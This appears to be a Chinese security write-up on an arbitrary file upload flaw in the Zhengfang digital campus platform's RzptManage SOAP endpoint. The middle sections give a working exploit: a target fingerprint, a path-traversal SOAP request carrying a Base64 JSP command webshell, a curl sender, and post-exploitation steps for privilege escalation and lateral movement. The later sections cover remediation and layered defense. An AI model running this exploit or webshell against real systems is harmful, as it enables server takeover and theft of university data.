1. 项目概述从一次“意外”的发现说起前段时间我在对某高校的数字化校园系统进行常规安全评估时发现了一个非常典型的案例。目标系统是大家耳熟能详的“正方数字化校园平台”一个在国内众多高校广泛部署的综合信息门户。我的初衷只是想看看它的接口设计是否规范没想到在测试其SOAP接口时一个名为RzptManage的服务端点引起了我的注意。简单发送了几个测试请求后服务器竟然将我提交的一段Base64编码的JSP代码原封不动地写入了Web目录下的指定路径。这意味着攻击者可以借此上传任意文件包括WebShell从而直接获取服务器的控制权。这个漏洞的成因并不复杂但其背后的逻辑和利用链却非常值得深挖。今天我就把这个漏洞从发现、分析到复现的完整过程以及其中涉及的关键技术点和防御思路毫无保留地分享出来。无论你是安全研究人员、渗透测试工程师还是负责高校信息系统运维的同行理解这个漏洞的来龙去脉对于提升自身系统的安全性都大有裨益。2. 漏洞成因深度剖析不只是“未过滤”那么简单很多人一听到“任意文件上传”第一反应就是“开发者没对上传的文件做过滤”。这个结论没错但过于笼统。对于正方平台这个特定的SOAP接口漏洞我们需要深入到代码逻辑和架构层面去理解为什么一个看似正常的业务接口会变成高危漏洞的入口。2.1 SOAP接口与业务功能背景首先我们需要理解RzptManage这个服务是干什么的。从接口名称和其暴露的savePic方法可以推断这很可能是一个用于“报表管理”或“图片保存”的后台服务。在数字化校园平台中经常需要生成各种统计图表、学生照片等并将其保存到服务器上供前端展示。savePic方法的设计初衷应该是接收前端传来的图片二进制数据经过Base64编码然后将其保存到服务器指定的文件路径。这里就引出了第一个关键点服务端对客户端提交的数据抱有绝对的信任。接口的设计者可能默认调用方如平台自己的前端模块是可信的提交的filepath参数一定是合法的、相对安全的内部路径bytes参数也一定是真实的图片数据。这种基于“内部调用”假设而省略安全检查的做法在早期的系统设计中非常普遍。2.2 核心漏洞点路径与内容的全然失控漏洞的核心在于savePic方法对两个输入参数的处理完全失控filepath参数未做任何路径穿越检测与规范化攻击者可以传入如../../../webapps/ROOT/shell.jsp这样的路径。如果服务器端没有对路径进行校验直接进行文件写入操作就可能实现目录穿越将文件写到Web应用的根目录甚至系统任意目录。bytes参数未做文件类型与内容校验方法直接接收Base64编码的二进制流解码后写入文件。它没有检查这些字节是否真的构成一张有效的图片如通过文件头魔数校验也没有限制可写入的文件扩展名。因此攻击者可以传入一段精心构造的JSP木马代码经过Base64编码后就能被当作“图片数据”成功写入。更致命的是这个接口通常缺乏有效的身份认证与授权校验。SOAP接口往往被视为“内部接口”可能仅通过IP白名单或简单的令牌进行保护但这些机制很容易被绕过或缺失。这就使得攻击者无需登录直接从公网访问到这个高危接口成为可能。2.3 框架与配置的“助攻”这个漏洞的顺利利用往往还依赖于一些常见的服务器配置和框架特性Web服务器解析漏洞即使文件被写入了非Web目录如果服务器配置不当如Apache的mod_jk配置错误、IIS的短文件名/解析漏洞等也可能导致脚本文件被解析执行。SOAP引擎的自动映射像Apache Axis这样的SOAP引擎会自动将WSDL中定义的服务映射到对应的Java类方法。如果后端处理类例如RzptManageService中的savePic方法实现没有安全考虑漏洞就会直接暴露。过时的组件与默认配置许多高校的正方平台部署年代久远运行着存在已知漏洞的旧版本中间件如老版本的Tomcat、JDK并且使用默认的、强度不足的安全配置这为漏洞利用后的权限提升提供了便利。注意在分析这类漏洞时切忌停留在“有个上传点没过滤”的表面。一定要结合业务逻辑为什么需要这个接口、技术架构用了什么框架如何映射的和运行环境服务器如何配置进行综合判断。这样才能准确定位根因并推演出完整的攻击链。3. 漏洞利用链完整复现与实操理解了原理我们动手把它复现出来。整个过程就像在解一道有标准答案的谜题每一步都需要精确操作。下面我以搭建的测试环境为例展示从信息收集到成功获取WebShell的完整链条。3.1 环境准备与信息收集首先你需要一个目标。在授权测试中我们可以使用如下特征在搜索引擎或测绘平台进行初步识别网页标题包含“正方数字化校园信息门户”或“统一身份认证中心”。页面正文中包含“正方”、“zfca/login”等关键字。尝试访问http://target.com/zfca/axis/RzptManage观察是否存在SOAP服务端点。一个常见的迹象是访问该URL会返回一个描述服务的XML页面或者显示“Axis Servlet”相关的错误信息。对于本地复现我建议使用Docker快速搭建一个包含漏洞组件的测试环境。你可以搜索历史版本的正方平台安装包仅用于合法安全研究或者直接模拟一个存在缺陷的SOAP服务。这里的关键是模拟出RzptManage这个服务端点。3.2 构造攻击Payload这是利用漏洞的核心步骤。我们需要构造一个符合SOAP格式的HTTP POST请求其中包含恶意的filepath和bytes参数。1. 确定文件写入路径我们的目标是让写入的文件能被Web服务器解析执行。因此filepath参数需要指向Web应用的根目录或其子目录。通过路径穿越实现../../../webapps/ROOT/shell.jsp(针对Tomcat尝试穿越到webapps目录)../../shell.jsp(相对路径尝试在当前应用目录的上层目录写入)如果无法确定绝对路径可以先尝试简单的文件名如test.jsp根据返回错误信息或后续访问测试来判断是否写入成功以及写入的位置。2. 准备WebShell内容并Base64编码准备一个最简单的JSP WebShell。例如一个执行命令的Shell% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } %使用在线工具或命令行echo -n ‘内容’ | base64将其转换为Base64编码。注意编码后的字符串不能有换行。3. 组装SOAP请求完整的HTTP请求包如下所示。你需要将{hostname}替换为目标地址filepath和bytes替换为你构造的值。POST /zfca/axis/RzptManage HTTP/1.1 Host: {hostname} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: {计算后的长度务必准确} Accept: */* Content-Type: text/xml;charsetUTF-8 SOAPAction: Connection: close soapenv:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:pubhttp://pubService.webServices.zfca.zfsoft.com soapenv:Header/ soapenv:Body pub:savePic soapenv:encodingStylehttp://schemas.xmlsoap.org/soap/encoding/ filepath xsi:typesoapenc:string xmlns:soapenchttp://schemas.xmlsoap.org/soap/encoding/../../../webapps/ROOT/cmd.jsp/filepath bytes xsi:typesoapenc:base64Binary xmlns:soapenchttp://schemas.xmlsoap.org/soap/encoding/PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKiIlPgo8JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwpPdXRwdXRTdHJlYW0gb3MgPSBudWxsOwpJbnB1dFN0cmVhbSBpbiA9IG51bGw7CnRyeSB7CiAgICBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7CiAgICBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7CiAgICBpbiA9IHAuZ2V0SW5wdXRTdHJlYW0oKTsKICAgIERhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWFtKGluKTsKICAgIFN0cmluZyBkaXNyID0gZGlzLnJlYWRMaW5lKCk7CiAgICB3aGlsZSAoIGRpc3IgIT0gbnVsbCApIHsKICAgICAgICBvdXQucHJpbnRsbihkaXNyKTsKICAgICAgICBkaXNyID0gZGlzLnJlYWRMaW5lKCk7CiAgICB9Cn0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICBvdXQucHJpbnRsbigiRXJyb3I6ICIgKyBlLnRvU3RyaW5nKCkpOwp9Cg/bytes /pub:savePic /soapenv:Body /soapenv:Envelope关键点说明SOAPAction头部有时可以为空但必须包含该字段。Content-Type必须为text/xml;charsetUTF-8。Content-Length必须精确计算整个HTTP Body的长度包括最后的空行。计算错误会导致服务器解析失败。可以使用Burp Suite等工具自动计算。XML命名空间如xmlns:pub需要与目标服务定义的WSDL保持一致。上述示例中的命名空间来源于历史漏洞信息在实际测试中如果失败可能需要从目标站点的WSDL描述文件中获取正确的命名空间。3.3 发送请求与结果验证使用工具发送构造好的请求。推荐使用Burp Suite Repeater或Postman也可以使用curl命令。curl -X POST http://target.com/zfca/axis/RzptManage -H Content-Type: text/xml;charsetUTF-8 -H SOAPAction: \\ --data-binary payload.xml发送请求后观察服务器的响应成功响应HTTP 200 OK响应体可能包含一个表示成功的SOAP消息或者没有具体内容但状态码为200。这通常意味着文件写入操作已被服务器接受但不一定100%写入磁盘需后续验证。错误响应HTTP 500 Internal Server Error响应体可能包含Java异常栈跟踪信息。这反而是极好的信息栈跟踪会暴露服务器路径、类名等详细信息有助于你调整filepath。例如错误信息显示文件试图写入/opt/tomcat/webapps/../那么你就可以据此构造更精确的路径。无论返回什么下一步都是访问你试图写入的文件。例如尝试访问http://target.com/cmd.jsp或http://target.com/zfca/cmd.jsp。如果返回空白页、正常的JSP错误页或你预期的WebShell界面则说明写入成功。此时你可以通过cmd参数执行系统命令例如http://target.com/cmd.jsp?cmdwhoami。实操心得在实际测试中第一次尝试往往不成功。不要气馁仔细分析错误响应。HTTP 500错误中的路径信息是黄金线索。另外可以尝试先写入一个内容为简单文本如% out.println(test); %的JSP文件确认上传功能是否可用以及文件位置再换用功能完整的WebShell。4. 漏洞的深入利用与权限提升思路成功上传WebShell只是第一步相当于拿到了系统的一把“钥匙”。但这把钥匙能开哪些门能拿到什么级别的权限还需要进一步的探索和利用。这部分往往是渗透测试中区分初级和中级水平的关键。4.1 信息收集与环境探测通过WebShell我们首先需要摸清服务器的底细系统信息执行uname -a(Linux) 或systeminfo(Windows) 查看系统版本、架构。用户权限执行whoami和id(Linux) 查看当前WebShell的运行权限。在Tomcat下通常是tomcat或nobody等低权限用户。网络信息执行ifconfig或ipconfig查看网络配置、内网网段。netstat -antp查看开放端口和连接寻找数据库、Redis、管理后台等内网服务。文件系统浏览尝试列出Web根目录、临时目录、用户目录寻找配置文件如web.xml、database.properties、备份文件、日志文件等里面可能包含数据库密码、加密密钥等敏感信息。4.2 突破权限限制从WebShell到系统Shell低权限的WebShell限制很多。我们需要尝试提权获取一个更稳定的、交互式的系统Shell如/bin/bash或cmd.exe。1. 利用Java反序列化漏洞如果服务器运行着存在反序列化漏洞的旧版本组件如Apache Commons Collections 3.x, Jackson, Fastjson等我们可以通过WebShell上传一个利用该漏洞的Payload来执行命令并反弹一个Shell到我们的监听端口。这需要你对Java反序列化利用链有一定了解并准备好相应的利用工具如ysoserial。2. 利用系统本地漏洞通过之前的信息收集如果发现系统内核版本较老可以搜索对应的本地提权漏洞如Dirty Cow, sudo权限配置错误等。在WebShell中上传对应的漏洞利用程序exploit编译并执行可能直接获得root权限。3. 利用数据库功能如果从配置文件中找到了数据库连接密码并且数据库具有“写文件”或“执行系统命令”的权限如MySQL的INTO OUTFILE和sys_exec函数PostgreSQL的COPY命令和UDF提权可以通过数据库操作来写入新的WebShell到更可写的目录或者直接执行系统命令。4.3 内网横向移动高校的数字化校园平台往往处于内网核心区域可能连接着教务系统、一卡通系统、财务系统等多个重要子系统。一旦突破边界内网横向移动就变得至关重要。密码复用与爆破收集到的数据库密码、后台密码很可能在其他系统上复用。可以使用WebShell作为跳板对内网其他主机的常见服务SSH, RDP, MySQL, Redis进行弱口令爆破或密码喷洒攻击。利用中间件漏洞内网中可能存在未修复漏洞的Weblogic、Jenkins、Struts2等应用可以通过WebShell对内网进行扫描发现并利用这些漏洞。端口转发与代理使用reGeorg,EarthWorm等工具将WebShell作为SOCKS代理使我们的攻击机能够直接访问目标内网资源方便后续使用扫描器和漏洞利用工具。注意事项内网渗透必须在获得明确授权的前提下进行并且要格外小心避免对生产系统造成业务影响。操作应遵循“最小影响”原则优先使用非破坏性的信息收集手段。5. 漏洞修复与安全加固建议分析漏洞是为了更好地防御。对于学校或使用正方平台的单位以及广大开发者可以从以下几个层面进行加固5.1 紧急临时处置措施如果怀疑系统存在此漏洞应立即采取以下措施网络层拦截在WAFWeb应用防火墙或网络防火墙上对访问路径/zfca/axis/RzptManage的POST请求进行拦截或严格审计。可以设置规则检查请求体是否包含明显的恶意文件路径如../,.jsp或Base64编码的特定危险字符串。应用层禁用如果该SOAP接口并非核心业务必需最直接的方法是在Web服务器如Apache, Nginx的配置中将该URL路径的访问直接返回403或404。对于Tomcat可以在web.xml中配置相应的安全约束。文件系统监控对Web根目录及其子目录进行实时文件监控一旦发现异常的.jsp,.jspx,.war等文件被创建立即告警并排查。5.2 根本性代码修复方案治本之策是修复后端代码。负责该平台的开发团队应输入验证与过滤路径校验对filepath参数进行严格校验。禁止出现任何形式的路径穿越字符../。将用户输入限制在特定的、安全的子目录内如upload/并使用白名单机制只允许特定的文件扩展名如.jpg,.png,.gif。内容校验对bytes参数解码后的内容进行校验。如果是图片上传功能应使用图像处理库如Java的ImageIO尝试读取该文件确认其是有效的图片格式而非可执行代码。身份认证与授权为该SOAP接口添加强身份认证如基于Token或数字签名并验证调用者是否有权限执行savePic操作。绝不能将其暴露为无需认证的公开接口。文件存储安全将上传的文件存储在Web根目录之外通过一个单独的文件服务或静态资源服务器来提供访问。这样即使上传了恶意脚本也无法通过Web URL直接访问执行。对上传的文件进行重命名如使用UUID避免用户控制文件名。设置文件系统权限确保Web应用进程对上传目录只有写入权限没有执行权限。5.3 长期安全开发规范摒弃“内部接口”思维所有面向网络的接口无论内外网都应视为不可信必须实施严格的身份验证、授权、输入校验和输出编码。使用安全框架采用成熟的、具有安全特性的框架来处理文件上传和Web服务。例如使用Spring Framework时可以利用其MultipartFile接口和相应的校验注解。定期安全审计与渗透测试对老旧系统尤其是广泛使用的商业平台应定期聘请专业的安全团队进行代码审计和渗透测试主动发现类似隐患。依赖组件管理持续关注第三方组件如Apache Axis, Tomcat, JDK的安全公告及时升级到已修复安全漏洞的版本。6. 防御视角下的深度思考如何构建纵深防御体系这个漏洞给我们上了一堂生动的安全课。它告诉我们安全不是一个点而是一个体系。作为防御方我们应该如何构建纵深防御体系来应对此类乃至更复杂的攻击呢第一层网络与边界防御部署下一代WAF不仅基于规则库更能利用AI/ML模型检测异常SOAP/XML请求结构、恶意负载和攻击行为。严格的网络隔离将类似“报表管理”这样的后台服务接口部署在内网通过API网关对外暴露并实施严格的访问控制策略如IP白名单、双向TLS认证。入侵检测与防御系统IDS/IPS在网络关键节点部署IDS/IPS监控异常的文件系统操作如非Web进程写入Web目录、可疑的进程创建行为。第二层主机与应用运行时防护RASP运行时应用自保护在应用服务器中植入RASP探针。它能在应用运行时检测到危险的API调用序列例如“未经验证的用户输入”直接传递给“文件写入函数”。当savePic方法被调用时RASP可以实时校验参数一旦发现路径穿越或写入非图片内容立即阻断并告警。文件系统权限最小化以非root用户运行Tomcat等应用服务器。严格配置Web应用对文件系统的访问权限遵循最小权限原则只授予其必要的读写权限。系统级监控与审计启用操作系统的审计功能记录所有对关键目录如Web根目录的文件创建、修改和删除操作。第三层代码与开发流程安全安全编码培训让开发者深刻理解“所有输入都是有害的”掌握安全编码规范从源头减少漏洞。自动化代码审计SAST在CI/CD流水线中集成静态应用安全测试工具。这类工具可以自动扫描代码发现“未校验用户输入直接进行文件操作”这类高危模式在代码合并前就发出预警。依赖项扫描SCA定期扫描项目所使用的第三方库如Apache Axis及时发现已知漏洞并推动升级。第四层威胁感知与响应建立完整的日志收集与分析中心SIEM集中收集Web服务器日志、应用日志、系统日志和网络设备日志。通过关联分析可以快速发现攻击链条。例如将一次异常的SOAP请求日志A与紧随其后的WebShell访问请求日志B关联起来就能迅速定位入侵事件。制定并演练应急响应预案明确一旦发生此类漏洞被利用的事件应该如何隔离系统、排查影响、清除后门、修复漏洞并恢复业务。定期演练确保流程顺畅。通过这样层层设防即使某一层如代码层的防御被突破其他层的防御机制仍然有机会发现并阻止攻击的进一步蔓延将损失降到最低。安全是一场攻防对抗的持久战唯有建立起纵深、主动的防御体系才能在这场较量中占据主动。